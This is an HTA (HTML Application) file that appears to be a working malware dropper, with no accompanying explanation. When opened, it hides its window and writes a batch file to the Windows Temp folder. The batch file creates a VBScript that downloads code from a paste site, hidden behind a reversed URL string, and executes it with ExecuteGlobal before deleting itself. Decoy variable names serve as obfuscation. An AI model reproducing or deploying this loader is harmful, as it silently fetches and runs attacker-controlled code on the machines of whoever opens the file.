<!DOCTYPE html>
<html>
<head>
<title>Executar Script</title>
<HTA:APPLICATION
APPLICATIONNAME="ScriptExecutor"
BORDER="none"
CAPTION="no"
SHOWINTASKBAR="no"
SINGLEINSTANCE="yes"
WINDOWSTATE="minimize"
/>
<script language="VBScript">
Dim salubrity
Set salubrity = CreateObject("WScript.Shell")
Dim redded
redded = "C:\Windows\Temp\anonymiser.bat"
Dim hempvine, fawnlily
Set hempvine = CreateObject("Scripting.FileSystemObject")
Set fawnlily = hempvine.CreateTextFile(redded, True)
Dim functioning
functioning = "0/RBION03c/d/ee.etsap//:sptth"
fawnlily.WriteLine "@echo off"
fawnlily.WriteLine "setlocal"
fawnlily.WriteLine "set ""fugues=C:\Windows\Temp\Sheena.vbs"""
fawnlily.WriteLine "echo Dim noncatalog, documentarist > %fugues%"
fawnlily.WriteLine "echo noncatalog = StrReverse(""" & functioning & """) >> %fugues%"
fawnlily.WriteLine "echo Set documentarist = CreateObject(""MSXML2.XMLHTTP"") >> %fugues%"
fawnlily.WriteLine "echo documentarist.open ""GET"", noncatalog, False >> %fugues%"
fawnlily.WriteLine "echo documentarist.send >> %fugues%"
fawnlily.WriteLine "echo If documentarist.Status = 200 Then >> %fugues%"
fawnlily.WriteLine "echo ExecuteGlobal documentarist.responseText >> %fugues%"
fawnlily.WriteLine "echo End If >> %fugues%"
fawnlily.WriteLine "start """" /b wscript //nologo ""%fugues%"""
fawnlily.WriteLine "timeout /t 1 /nobreak >nul"
fawnlily.WriteLine "del ""%fugues%"""
fawnlily.WriteLine "endlocal"
fawnlily.Close
salubrity.Run "cmd.exe /c """ & redded & """", 0, False
window.close
</script>
</head>
<body>
</body>
</html>